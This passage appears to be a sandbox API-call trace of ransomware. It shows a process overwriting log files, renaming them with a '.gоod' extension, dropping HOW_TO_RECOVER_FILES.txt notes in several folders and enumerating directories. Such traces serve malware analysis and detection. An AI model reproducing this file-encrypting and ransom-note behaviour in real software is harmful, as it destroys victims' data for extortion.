lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpFilePart=0x0) returned 0x34 [0069.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0069.215] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0069.216] GetFileType (hFile=0x6b4) returned 0x1 [0069.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0069.216] GetFileType (hFile=0x6b4) returned 0x1 [0069.216] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fc438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fc438*=0) returned 0x1774 [0069.216] WriteFile (in: hFile=0x6b4, lpBuffer=0x324b670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fc328, lpOverlapped=0x0 | out: lpBuffer=0x324b670*, lpNumberOfBytesWritten=0x10fc328*=0x10, lpOverlapped=0x0) returned 1 [0069.216] CloseHandle (hObject=0x6b4) returned 1 [0069.218] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpFilePart=0x0) returned 0x34 [0069.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0069.218] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0069.218] GetFileType (hFile=0x6b4) returned 0x1 [0069.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0069.218] GetFileType (hFile=0x6b4) returned 0x1 [0069.218] ReadFile (in: hFile=0x6b4, lpBuffer=0x324d938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fc3b8, lpOverlapped=0x0 | out: lpBuffer=0x324d938*, lpNumberOfBytesRead=0x10fc3b8*=0x1000, lpOverlapped=0x0) returned 1 [0069.244] CloseHandle (hObject=0x6b4) returned 1 [0069.244] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpFilePart=0x0) returned 0x34 [0069.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0069.244] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0069.244] GetFileType (hFile=0x6b4) returned 0x1 [0069.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0069.245] GetFileType (hFile=0x6b4) returned 0x1 [0069.245] WriteFile (in: hFile=0x6b4, lpBuffer=0x324c688*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fc468, lpOverlapped=0x0 | out: lpBuffer=0x324c688*, lpNumberOfBytesWritten=0x10fc468*=0x1010, lpOverlapped=0x0) returned 1 [0069.245] CloseHandle (hObject=0x6b4) returned 1 [0069.246] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpFilePart=0x0) returned 0x34 [0069.246] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.gоod", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.gоod", lpFilePart=0x0) returned 0x39 [0069.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc3a0) returned 1 [0069.246] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), fInfoLevelId=0x0, lpFileInformation=0x10fc480 | out: lpFileInformation=0x10fc480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x257d427e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1784)) returned 1 [0069.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc360) returned 1 [0069.246] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.gоod" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.gоod")) returned 1 [0069.246] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", lpFilePart=0x0) returned 0x32 [0069.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc3e0) returned 1 [0069.247] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), fInfoLevelId=0x0, lpFileInformation=0x32c9cd0 | out: lpFileInformation=0x32c9cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1 [0069.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc3a0) returned 1 [0069.247] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", nBufferLength=0x105, lpBuffer=0x10fbd70, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", lpFilePart=0x0) returned 0x32 [0069.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc290) returned 1 [0069.247] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0069.247] GetFileType (hFile=0x6b4) returned 0x1 [0069.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc200) returned 1 [0069.247] GetFileType (hFile=0x6b4) returned 0x1 [0069.247] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x10fc438 | out: lpFileSizeHigh=0x10fc438*=0x0) returned 0x28 [0069.247] ReadFile (in: hFile=0x6b4, lpBuffer=0x32c9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fc368, lpOverlapped=0x0 | out: lpBuffer=0x32c9f90*, lpNumberOfBytesRead=0x10fc368*=0x28, lpOverlapped=0x0) returned 1 [0069.432] CloseHandle (hObject=0x6b4) returned 1 [0069.538] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", nBufferLength=0x105, lpBuffer=0x10fbd70, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", lpFilePart=0x0) returned 0x32 [0069.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc290) returned 1 [0069.538] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0069.540] GetFileType (hFile=0x764) returned 0x1 [0069.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc200) returned 1 [0069.540] GetFileType (hFile=0x764) returned 0x1 [0069.540] WriteFile (in: hFile=0x764, lpBuffer=0x34b0ed8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x10fc278, lpOverlapped=0x0 | out: lpBuffer=0x34b0ed8*, lpNumberOfBytesWritten=0x10fc278*=0x30, lpOverlapped=0x0) returned 1 [0069.541] CloseHandle (hObject=0x764) returned 1 [0069.542] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", lpFilePart=0x0) returned 0x32 [0069.542] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.gоod", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.gоod", lpFilePart=0x0) returned 0x37 [0069.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc3a0) returned 1 [0069.542] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), fInfoLevelId=0x0, lpFileInformation=0x10fc480 | out: lpFileInformation=0x10fc480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x25aa8f52, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0069.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc360) returned 1 [0069.542] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.gоod" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.gоod")) returned 1 [0069.542] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2c [0069.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0069.542] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\$getcurrent\\logs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0069.543] GetFileType (hFile=0x764) returned 0x1 [0069.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0069.543] GetFileType (hFile=0x764) returned 0x1 [0069.544] WriteFile (in: hFile=0x764, lpBuffer=0x34b4460*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x34b4460*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0069.546] CloseHandle (hObject=0x764) returned 1 [0069.546] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fcab0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x27 [0069.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcfd0) returned 1 [0069.546] CreateFileW (lpFileName="C:\\$GetCurrent\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\$getcurrent\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0069.546] GetFileType (hFile=0x764) returned 0x1 [0069.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf40) returned 1 [0069.546] GetFileType (hFile=0x764) returned 0x1 [0069.548] WriteFile (in: hFile=0x764, lpBuffer=0x34b7c00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fd098, lpOverlapped=0x0 | out: lpBuffer=0x34b7c00*, lpNumberOfBytesWritten=0x10fd098*=0x5d0, lpOverlapped=0x0) returned 1 [0069.549] CloseHandle (hObject=0x764) returned 1 [0069.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0069.550] GetFullPathNameW (in: lpFileName="C:\\ESD", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\ESD", lpFilePart=0x0) returned 0x6 [0069.550] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.821] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.821] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0069.821] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0069.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0069.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0069.821] GetFullPathNameW (in: lpFileName="C:\\ESD", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\ESD", lpFilePart=0x0) returned 0x6 [0069.822] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.822] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.822] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0069.822] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0069.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0069.822] GetFullPathNameW (in: lpFileName="C:\\ESD\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fcab0, lpFilePart=0x0 | out: lpBuffer="C:\\ESD\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x1f [0069.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcfd0) returned 1 [0069.822] CreateFileW (lpFileName="C:\\ESD\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\esd\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0069.823] GetFileType (hFile=0x764) returned 0x1 [0069.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf40) returned 1 [0069.823] GetFileType (hFile=0x764) returned 0x1 [0069.824] WriteFile (in: hFile=0x764, lpBuffer=0x30f5230*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fd098, lpOverlapped=0x0 | out: lpBuffer=0x30f5230*, lpNumberOfBytesWritten=0x10fd098*=0x5d0, lpOverlapped=0x0) returned 1 [0069.825] CloseHandle (hObject=0x764) returned 1 [0069.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0069.825] GetFullPathNameW (in: lpFileName="C:\\Logs", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\Logs", lpFilePart=0x0) returned 0x7 [0069.825] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0069.829] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.833] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0069.834] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0069.835] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0069.835] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0069.835] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, 